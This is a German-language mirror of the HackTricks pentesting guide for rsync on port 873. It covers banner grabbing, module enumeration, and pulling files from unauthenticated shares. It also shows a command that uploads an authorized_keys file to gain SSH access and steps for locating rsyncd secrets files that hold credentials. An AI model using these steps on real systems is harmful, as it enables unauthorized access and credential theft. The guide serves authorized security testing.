mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
129 lines
8.3 KiB
Markdown
129 lines
8.3 KiB
Markdown
# 873 - Pentesting Rsync
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
|
|
|
|
</details>
|
|
|
|
## **Grundlegende Informationen**
|
|
|
|
Aus [Wikipedia](https://en.wikipedia.org/wiki/Rsync) übersetzt:
|
|
|
|
> **rsync** ist ein Dienstprogramm zum effizienten [Übertragen](https://en.wikipedia.org/wiki/File\_transfer) und [Synchronisieren](https://en.wikipedia.org/wiki/File\_synchronization) von [Dateien](https://en.wikipedia.org/wiki/Computer\_file) zwischen einem Computer und einer externen Festplatte sowie zwischen [vernetzten](https://en.wikipedia.org/wiki/Computer\_network) [Computern](https://en.wikipedia.org/wiki/Computer), indem die [Änderungszeiten](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) und Größen der Dateien verglichen werden.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Es ist häufig auf [Unix-ähnlichen](https://en.wikipedia.org/wiki/Unix-like) [Betriebssystemen](https://en.wikipedia.org/wiki/Operating\_system) zu finden. Der Rsync-Algorithmus ist eine Art von [Delta-Codierung](https://en.wikipedia.org/wiki/Delta\_encoding) und wird zur Minimierung des Netzwerkverbrauchs verwendet. [Zlib](https://en.wikipedia.org/wiki/Zlib) kann für zusätzliche [Datenkompression](https://en.wikipedia.org/wiki/Data\_compression) verwendet werden,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) und [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) oder [stunnel](https://en.wikipedia.org/wiki/Stunnel) können für die Sicherheit verwendet werden.
|
|
|
|
**Standardport:** 873
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
### Banner & manuelle Kommunikation
|
|
|
|
Die Enumeration von Rsync beginnt mit der Überprüfung des Banners und der manuellen Kommunikation. Der Rsync-Dienst sendet normalerweise einen Begrüßungstext, der Informationen über die Version und die unterstützten Funktionen enthält. Dieser Begrüßungstext kann verwendet werden, um Informationen über den Rsync-Server zu sammeln.
|
|
|
|
Um den Banner zu überprüfen, kann das Tool `nc` (Netcat) verwendet werden, um eine Verbindung zum Rsync-Server herzustellen und den Begrüßungstext anzuzeigen. Die Syntax lautet:
|
|
|
|
```plaintext
|
|
nc <ziel-ip> <ziel-port>
|
|
```
|
|
|
|
Nachdem die Verbindung hergestellt wurde, wird der Begrüßungstext angezeigt. Dieser Text kann Informationen wie die Rsync-Version, das Betriebssystem und andere nützliche Details enthalten.
|
|
|
|
Die manuelle Kommunikation beinhaltet das Senden von Rsync-Befehlen an den Server und das Überprüfen der Antworten. Dies kann mit dem Tool `rsync` durchgeführt werden. Die Syntax lautet:
|
|
|
|
```plaintext
|
|
rsync <ziel-ip>::
|
|
```
|
|
|
|
Dieser Befehl fordert eine Liste der freigegebenen Module vom Rsync-Server an. Die Antwort enthält Informationen über die verfügbaren Module und deren Pfade.
|
|
|
|
Die Banner- und manuelle Kommunikationstechniken sind hilfreich, um Informationen über den Rsync-Server zu sammeln und potenzielle Schwachstellen zu identifizieren.
|
|
```bash
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
### **Ermittlung freigegebener Ordner**
|
|
|
|
**Rsync-Module** werden als **Verzeichnisfreigaben** erkannt, die möglicherweise **mit Passwörtern geschützt sind**. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
# Example with IPv6 and alternate port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste angezeigt werden und möglicherweise versteckt sind. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte Anmeldeinformationen beschränkt sein, was durch eine "Zugriff verweigert"-Meldung angezeigt wird.
|
|
|
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
|
|
|
### Manuelle Verwendung von Rsync
|
|
|
|
Nachdem Sie eine **Modulliste** erhalten haben, hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung können Sie Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis **auflisten** und **kopieren**, indem Sie Folgendes verwenden:
|
|
```bash
|
|
# Listing a shared folder
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
|
|
# Copying files from a shared folder
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Dieser Prozess überträgt Dateien rekursiv und bewahrt dabei ihre Attribute und Berechtigungen.
|
|
|
|
Mit Anmeldeinformationen kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei ein Passwort-Prompt angezeigt wird:
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
Um **Inhalte hochzuladen**, wie z.B. eine _**authorized_keys**_-Datei für den Zugriff, verwenden Sie:
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
## POST
|
|
|
|
Um die rsyncd-Konfigurationsdatei zu finden, führen Sie Folgendes aus:
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
Innerhalb dieser Datei kann ein _secrets file_ Parameter auf eine Datei verweisen, die **Benutzernamen und Passwörter** für die rsyncd-Authentifizierung enthält.
|
|
|
|
|
|
## Referenzen
|
|
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|